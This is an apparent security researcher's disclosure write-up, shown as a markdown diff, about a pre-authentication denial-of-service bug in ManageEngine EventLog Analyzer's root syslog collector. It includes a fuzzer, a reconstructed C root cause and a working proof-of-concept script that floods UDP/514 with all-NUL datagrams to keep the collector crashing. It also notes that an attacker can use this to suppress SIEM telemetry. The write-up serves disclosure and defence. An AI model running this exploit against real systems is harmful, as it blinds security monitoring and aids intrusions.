## Timeline
|
|
31
|
+
|
|
32
|
+
* **June 2026:** Vulnerability discovered by fuzzing the collector's UDP syslog listeners.
|
|
33
|
+
* **June 18, 2026:** Reported to the Zoho / ManageEngine bug bounty program, with a working proof of concept attached.
|
|
34
|
+
* **June 24, 2026:** Follow-up confirming the same defect is reachable via the UDP/513 listener, not only UDP/514.
|
|
35
|
+
* **August 25, 2026:** Fix [released](https://www.manageengine.com/products/eventlog/features-new.html) in EventLog Analyzer build 13071, listed as "Hotfix".
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
<img width="1236" height="994" alt="Screenshot 2026-09-03 115048" src="https://github.com/user-attachments/assets/c3d8f84b-8802-4aa0-9f69-3e106dc2c24e" />
|
|
40
|
+
|
|
41
|
+
* **September 3, 2026:** Educational write-up published & social media announcements by Seth Kraft.
|
|
42
|
+
* **September 4, 2026:** Zoho updates release notes to re-classify bug as a Security Fix.
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
<img width="1241" height="1002" alt="Screenshot 2026-09-04 120722" src="https://github.com/user-attachments/assets/31eee46b-be64-4c04-8ab7-e89a5521cd45" />
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Fuzzing the Collector
|
|
52
|
+
|
|
53
|
+
EventLog Analyzer accepts agentless syslog on UDP/514, UDP/513, and TCP/514. These listeners accept input from any host that can reach the port, prior to authentication, which makes them the logical starting point for analysis.
|
|
54
|
+
|
|
55
|
+
`SysEvtCol` itself is a native binary executing as root, so a memory-safety defect in it carries considerably greater impact than one in the Java layer above it.
|
|
56
|
+
|
|
57
|
+
The harness is a small mutational fuzzer: it generates malformed syslog datagrams, transmits them at a controlled rate, and observes the daemon. Three properties keep it useful rather than noisy:
|
|
58
|
+
|
|
59
|
+
* **Seeded**, so any run reproduces exactly.
|
|
60
|
+
* **Rate-limited** to a few hundred packets per second, well below flood levels, so any failure reflects a parser defect rather than load.
|
|
61
|
+
* **Logged**, with every payload recorded to a manifest by send order, so a crash can be traced to the datagram responsible.
|
|
62
|
+
|
|
63
|
+
```python
|
|
64
|
+
#!/usr/bin/env python3
|
|
65
|
+
# Seeded, rate-limited syslog fuzzer for SysEvtCol. Deterministic replay,
|
|
66
|
+
# ~250 pkt/s (not a flood), every payload logged by index so a crash can be
|
|
67
|
+
# bisected back to the exact datagram that caused it.
|
|
68
|
+
import socket, sys, time, random
|
|
69
|
+
|
|
70
|
+
TARGET = (sys.argv[1], 514)
|
|
71
|
+
rng = random.Random(int(sys.argv[2]) if len(sys.argv) > 2 else 0)
|
|
72
|
+
manifest = open("fuzz_manifest.log", "w")
|
|
73
|
+
|
|
74
|
+
def mutate(i):
|
|
75
|
+
tag = f"FZ-{i}".encode() # correlatable marker
|
|
76
|
+
k = rng.randrange(6)
|
|
77
|
+
if k == 0: # malformed PRI header
|
|
78
|
+
return b"<" + rng.choice([b"", b"-1", b"9" * 40]) + b">" + tag + b" host app: msg"
|
|
79
|
+
if k == 1: # over-long hostname / tag / message
|
|
80
|
+
return b"<13>Jun 18 10:00:00 " + b"H" * rng.choice([1024, 60000]) + b" app: " + tag
|
|
81
|
+
if k == 2: # degenerate: a packet of one repeated byte, including all-NUL <-- the class that hit
|
|
82
|
+
return rng.choice([b"\x00", b"\xff", b"\x20"]) * rng.choice([1, 64, 512, 4096])
|
|
83
|
+
if k == 3: # printf-style format specifiers
|
|
84
|
+
return b"<13>Jun 18 10:00:00 host app: " + tag + b" " + b"%n%s%x%p" * 20
|
|
85
|
+
if k == 4: # RFC5424 structured-data, sometimes unterminated
|
|
86
|
+
return b"<165>1 2026-06-18T10:00:00Z host app 1 " + tag + b" [" + b'k="v" ' * 200
|
|
87
|
+
return bytes(rng.randrange(256) for _ in range(rng.choice([16, 4096, 60000]))) # random
|
|
88
|
+
|
|
89
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
90
|
+
for i in range(int(sys.argv[3]) if len(sys.argv) > 3 else 2000):
|
|
91
|
+
p = mutate(i)
|
|
92
|
+
s.sendto(p[:65507], TARGET)
|
|
93
|
+
manifest.write(f"{i}\tlen={len(p)}\t{p[:60]!r}\n")
|
|
94
|
+
time.sleep(0.004) # rate-limit, not a flood
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
Executed against the collector, the harness produces a manifest that pairs each send index with its payload:
|
|
98
|
+
|
|
99
|
+
```
|
|
100
|
+
0 len=1054 b'<13>Jun 18 10:00:00 HHHHHHHHHHHHHHHHHHHH...'
|
|
101
|
+
1 len=1245 b'<165>1 2026-06-18T10:00:00Z host app 1 FZ-1 [k="v"...'
|
|
102
|
+
2 len=16 b'Pz\x08\x1cK\xbcz;\xad\xee\xb6\x8f\xc8\x86\xb0u'
|
|
103
|
+
3 len=60030 b'<13>Jun 18 10:00:00 HHHHHHHHHHHHHHHHHHHH...'
|
|
104
|
+
4 len=512 b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...'
|
|
105
|
+
5 len=60000 b'\xd7v\xe9\xd6\xfa(\xec\xb8\xe0\xa1\xe6\xcf!\xfb\td...'
|
|
106
|
+
6 len=1054 b'<13>Jun 18 10:00:00 HHHHHHHHHHHHHHHHHHHH...'
|
|
107
|
+
7 len=1245 b'<165>1 2026-06-18T10:00:00Z host app 1 FZ-7 [k="v"...'
|
|
108
|
+
8 len=1245 b'<165>1 2026-06-18T10:00:00Z host app 1 FZ-8 [k="v"...'
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
Index 4 is the entry of interest: a datagram of entirely zero bytes, a degenerate case such parsers rarely account for.
|
|
112
|
+
|
|
113
|
+
Detecting the failure is the complementary requirement. `SysEvtCol` runs under a supervisor that restarts it, so a crash is unobservable unless the restart is monitored.
|
|
114
|
+
|
|
115
|
+
The following monitor watches the process identifier and, on each change, extracts the faulting instruction pointer from the kernel log:
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
#!/bin/bash
|
|
119
|
+
# Alert when SysEvtCol respawns and capture the faulting instruction pointer.
|
|
120
|
+
last=$(pgrep -x SysEvtCol)
|
|
121
|
+
while sleep 1; do
|
|
122
|
+
now=$(pgrep -x SysEvtCol)
|
|
123
|
+
if [ "$now" != "$last" ]; then
|
|
124
|
+
echo "[!] SysEvtCol respawned: $last -> $now"
|
|
125
|
+
dmesg | grep -i 'SysEvtCol.*segfault' | tail -1
|
|
126
|
+
last=$now
|
|
127
|
+
fi
|
|
128
|
+
done
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
With the monitor active during the burst, the behavior is unambiguous: the collector faults, the supervisor restarts it under a new pid, and a subsequent packet faults it again.
|
|
132
|
+
|
|
133
|
+
The process stabilizes only several seconds after transmission ceases; in this run it progressed from pid 1971 to 1984 before settling at 2667.
|
|
134
|
+
|
|
135
|
+
The kernel records each fault at the same address:
|
|
136
|
+
|
|
137
|
+
```
|
|
138
|
+
[Thu Sep 3 16:17:51 2026] SysEvtCol[1984]: segfault at 7d49c4021000 ip 000000000086ef5b sp 00007d49cc3e0d10 error 4 in SysEvtCol[400000+f1d000]
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
The instruction pointer is identical on every crash (`0x0086ef5b`), indicating a single faulting routine.
|
|
142
|
+
|
|
143
|
+
Because the run was seeded and logged, replaying it and reducing the manifest isolated the crash to one datagram, and then to the bytes responsible for it.
|
|
144
|
+
|
|
145
|
+
Reduction converged on a minimal trigger: a datagram composed exclusively of NUL bytes.
|
|
146
|
+
|
|
147
|
+
Inspection of a core dump captured at the fault established the root cause.
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Identifying the Logic Flaw
|
|
152
|
+
|
|
153
|
+
An incoming datagram is passed almost immediately to `StringUtil::TrimAllNull(char* buf, int len)`, a helper that trims trailing NUL bytes and rewrites any remaining embedded NULs to spaces (`0x20`) across a length-counted buffer.
|
|
154
|
+
|
|
155
|
+
`SysEvtCol` is a No-PIE binary, so the addresses below are absolute. Reconstructed from disassembly of `TrimAllNull` at entry RVA `0x0086ef12`, the logic is equivalent to:
|
|
156
|
+
|
|
157
|
+
```c
|
|
158
|
+
// buf = the received datagram, copied into a fixed 16480-byte pool slot
|
|
159
|
+
// len = the raw datagram length reported by recvfrom()
|
|
160
|
+
|
|
161
|
+
char *ptr = buf + len - 1;
|
|
162
|
+
while (*ptr == 0) { // backward trim of trailing NULs
|
|
163
|
+
ptr--;
|
|
164
|
+
len--; // no lower-bound check against buf
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
char *p = buf;
|
|
168
|
+
int counter = len; // len is now the loop counter
|
|
169
|
+
do {
|
|
170
|
+
if (*p == 0) {
|
|
171
|
+
*p = 0x20; // rewrite embedded NUL to a space
|
|
172
|
+
}
|
|
173
|
+
p++;
|
|
174
|
+
} while (counter-- != 0);
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
The backward trim lacks a lower bound. It decrements `ptr` in search of a non-NUL byte, and a datagram consisting solely of NULs never provides one.
|
|
178
|
+
|
|
179
|
+
The loop therefore reads past the start of the buffer, and `len` underflows to a negative value.
|
|
180
|
+
|
|
181
|
+
The forward loop then relies on that length. `counter` begins negative, so its termination condition is unreachable for approximately two billion iterations.
|
|
182
|
+
|
|
183
|
+
`p` advances well beyond the 16480-byte slot, writing `0x20` over each NUL it encounters, until it reaches an unmapped page and the process terminates.
|
|
184
|
+
|
|
185
|
+
The core dump corroborates this precisely: the buffer was page-aligned at an arena boundary, the backward trim left `ptr` seven bytes before `buf`, `len` underflowed to a small negative value, and the forward traversal faulted several pages later.
|
|
186
|
+
|
|
187
|
+
* **Faulting read:** `0x0086ef5b : movzbl (%rax),%eax`
|
|
188
|
+
* **Faulting write:** `0x0086ef66 : movb $0x20,(%rax)`
|
|
189
|
+
|
|
190
|
+
The routine has a single call site (`0x0076b718`) on the UDP receive path, immediately following the `recvfrom` at `0x0076b6b6`.
|
|
191
|
+
|
|
192
|
+
That dispatch serves both the UDP/514 and UDP/513 listeners, which accounts for the identical fault on either port.
|
|
193
|
+
|
|
194
|
+
The TCP/514 framer follows a separate path and does not reach the routine.
|
|
195
|
+
|
|
196
|
+
---
|
|
197
|
+
|
|
198
|
+
## Vulnerability Mechanics
|
|
199
|
+
|
|
200
|
+
The determining factor is the composition of the datagram: it must consist entirely of NUL bytes.
|
|
201
|
+
|
|
202
|
+
A real `<PRI>` header, or any non-NUL byte at the tail, halts the backward trim, leaves the length positive, and averts the fault.
|
|
203
|
+
|
|
204
|
+
The remainder is deterministic: the trim underflows the length, the forward loop interprets it as a large positive count, and the collector reads beyond its buffer and faults as root.
|
|
205
|
+
|
|
206
|
+
The outcome is probabilistic per packet, since it depends on the pool slot residing near the end of a heap arena, so a short burst is used in place of a single datagram.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## What the Packets Look Like
|
|
211
|
+
|
|
212
|
+
A well-formed syslog datagram consists largely of printable text terminated by a newline, so the trailing-NUL trim encounters a non-NUL byte almost immediately and halts:
|
|
213
|
+
|
|
214
|
+
```
|
|
215
|
+
00000000 3c 33 34 3e 4f 63 74 20 31 31 20 32 32 3a 31 34 |<34>Oct 11 22:14|
|
|
216
|
+
00000010 3a 31 35 20 68 6f 73 74 20 73 73 68 64 5b 32 38 |:15 host sshd[28|
|
|
217
|
+
00000020 34 37 5d 3a 20 46 61 69 6c 65 64 20 70 61 73 73 |47]: Failed pass|
|
|
218
|
+
00000030 77 6f 72 64 20 66 6f 72 20 72 6f 6f 74 0a |word for root.|
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
The trigger is the inverse: a datagram that presents no non-NUL byte at which the trim can stop:
|
|
222
|
+
|
|
223
|
+
```
|
|
224
|
+
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
|
225
|
+
*
|
|
226
|
+
00000030
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
`hexdump` collapses the repeated line to a single `*`. As the datagram contains no non-NUL byte, the backward trim does not terminate and reads past the start of the buffer.
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## Proof of Concept (PoC)
|
|
234
|
+
|
|
235
|
+
**1. Prerequisites**
|
|
236
|
+
|
|
237
|
+
* Network access to the target's UDP syslog port (514 by default; 513 is equally affected).
|
|
238
|
+
* An unauthenticated position suffices. The collector parses each datagram before authenticating its sender.
|
|
239
|
+
|
|
240
|
+
**2. Execution.** A single burst faults the collector once.
|
|
241
|
+
|
|
242
|
+
Because a supervisor restarts it, the proof of concept below repeats the burst at an interval to maintain the outage for the duration of the run.
|
|
243
|
+
|
|
244
|
+
```python
|
|
245
|
+
#!/usr/bin/env python3
|
|
246
|
+
import socket
|
|
247
|
+
import sys
|
|
248
|
+
import time
|
|
249
|
+
|
|
250
|
+
def main():
|
|
251
|
+
if len(sys.argv) < 2:
|
|
252
|
+
print(f"Usage: python3 {sys.argv[0]} <TARGET_IP>")
|
|
253
|
+
sys.exit(1)
|
|
254
|
+
|
|
255
|
+
target_ip = sys.argv[1]
|
|
256
|
+
target_port = 514
|
|
257
|
+
|
|
258
|
+
print(f"[*] Targeting SysEvtCol on {target_ip}:{target_port}...")
|
|
259
|
+
print("[*] Sending all-NUL UDP burst every 10 seconds. Press Ctrl+C to stop.")
|
|
260
|
+
|
|
261
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
262
|
+
|
|
263
|
+
try:
|
|
264
|
+
while True:
|
|
265
|
+
print("[*] Sending burst...")
|
|
266
|
+
for i in range(4000):
|
|
267
|
+
payload_len = (i % 64) + 1
|
|
268
|
+
payload = b"\x00" * payload_len
|
|
269
|
+
s.sendto(payload, (target_ip, target_port))
|
|
270
|
+
print("[+] Burst complete. Waiting 10 seconds...")
|
|
271
|
+
time.sleep(10)
|
|
272
|
+
except KeyboardInterrupt:
|
|
273
|
+
print("\n[!] Stopped by user.")
|
|
274
|
+
except Exception as e:
|
|
275
|
+
print(f"[-] Error: {e}")
|
|
276
|
+
finally:
|
|
277
|
+
s.close()
|
|
278
|
+
|
|
279
|
+
if __name__ == "__main__":
|
|
280
|
+
main()
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
Run it against the target:
|
|
284
|
+
|
|
285
|
+
```bash
|
|
286
|
+
python3 poc.py <TARGET_IP>
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
---
|
|
290
|
+
|
|
291
|
+
**3. Verify Impact.** The kernel logs the fault at the expected instruction pointer, and the collector's process identifier changes as the supervisor restarts it:
|
|
292
|
+
|
|
293
|
+
```bash
|
|
294
|
+
sudo dmesg | grep -i 'SysEvtCol.*segfault'
|
|
295
|
+
# SysEvtCol[1984]: segfault at 7d49c4021000 ip 000000000086ef5b error 4 in SysEvtCol[400000+f1d000]
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
**The supervisor does not remediate the issue.** It restarts the collector within a few seconds, but the proof of concept faults it again on each interval, so a continuous run keeps it unavailable.
|
|
299
|
+
|
|
300
|
+
Syslog over UDP is connectionless and unacknowledged, so any datagram arriving during a fault or restart is discarded by the operating system and lost.
|
|
301
|
+
|
|
302
|
+
The aggregate effect is a sustained loss of ingestion for the duration of the attack.
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
<img width="2522" height="1280" alt="PoC_v2 (1)" src="https://github.com/user-attachments/assets/7a25adb5-241c-48eb-ab56-9aefa4e6152c" />
|
|
307
|
+
|
|
308
|
+
> Tested on EventLog Analyzer 13.0.5 build 13056.
|
|
309
|
+
|
|
310
|
+
---
|
|
311
|
+
|
|
312
|
+
## Classification
|
|
313
|
+
|
|
314
|
+
The vendor addressed this as a general crash fix, without a CVE. The following establishes why it constitutes a security vulnerability rather than a functional defect.
|
|
315
|
+
|
|
316
|
+
* **Unauthenticated and remote.** The attacker is anonymous and external, and the sole prerequisite is a UDP datagram to a port the product binds by default, corresponding to an `AV:N/AC:L/PR:N/UI:N` exposure.
|
|
317
|
+
* **Memory corruption as root.** A signed underflow produces an out-of-bounds read and write within a daemon running as root, a memory-safety defect by class. The write is confined to a fixed `0x20` the attacker cannot direct, so the demonstrated impact is denial of service rather than code execution.
|
|
318
|
+
* **The affected component is a security control.** EventLog Analyzer and Log360 are SIEM products; an ingestion outage removes the telemetry on which detection depends, allowing an attacker to suppress collection while conducting other activity.
|
|
319
|
+
* **Sustained rather than transient.** Under continuous delivery the collector remains in a crash-restart loop, satisfying the CVSS v3.1 definition of `A:H`, a sustained total loss of availability, consistent with the assessed 7.5.
|
|
320
|
+
|
|
321
|
+
In summary, an all-NUL datagram to UDP/514 or UDP/513 faults the root collector, and during the outage the host ceases ingestion across every syslog channel (UDP/513, UDP/514, TCP/514) and the agent path.
|
|
322
|
+
|
|
323
|
+
---
|
|
324
|
+
|
|
325
|
+
## Resolution
|
|
326
|
+
|
|
327
|
+
The vendor remediated the issue in **EventLog Analyzer build 13071** (25 August 2026).
|
|
328
|
+
|
|
329
|
+
Log360 incorporates the same collector and is therefore affected; it receives the fix through the corresponding build.
|
|
330
|
+
|
|
331
|
+
Operators of either product should update to build 13071 or later. Specific hardening guidance follows in the Defensive Perspective.
|
|
332
|
+
|
|
333
|
+
---
|
|
334
|
+
|
|
335
|
+
## Takeaways
|
|
336
|
+
|
|
337
|
+
### Offensive Perspective
|
|
338
|
+
|
|
339
|
+
* **Fuzz with degenerate input:** empty datagrams, all-NUL payloads, and length fields that wrap are inexpensive to test and are precisely the cases hand-written C and C++ parsers omit. An unauthenticated UDP listener passing raw packets to a native string routine is a high-value target.
|
|
340
|
+
* **A negative length reads past the buffer:** when a trim or scan loop decrements a signed length without a lower bound, an all-delimiter input underflows it, and any subsequent loop that trusts that length reads and writes out of bounds.
|
|
341
|
+
* **A supervisor is not a mitigation:** where a crash is inexpensive and repeatable, it can be delivered continuously. A daemon that restarts within seconds remains unavailable under a sustained stream of triggers.
|
|
342
|
+
|
|
343
|
+
### Defensive Perspective
|
|
344
|
+
|
|
345
|
+
* **Bound the trim:** the backward loop requires a floor at `buf` and a length that cannot fall below zero. Unsigned sizes clamped at `0` prevent the underflow at its source.
|
|
346
|
+
* **Discard degenerate packets early:** empty or all-NUL datagrams are not valid syslog and should be rejected at the receive stage, before normalization.
|
|
347
|
+
* **Harden the binary:** compiling `SysEvtCol` with PIE, Full RELRO, and Fortify Source increases the cost and reduces the impact of any future native fault.
|
|
348
|
+
* **Treat the availability of a monitor as a security property:** for a SIEM, an ingestion outage is a detection gap an attacker can induce on demand, which warrants security triage and a CVE rather than a maintenance note.
|
|
349
|
+
|
|
350
|
+
> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.
|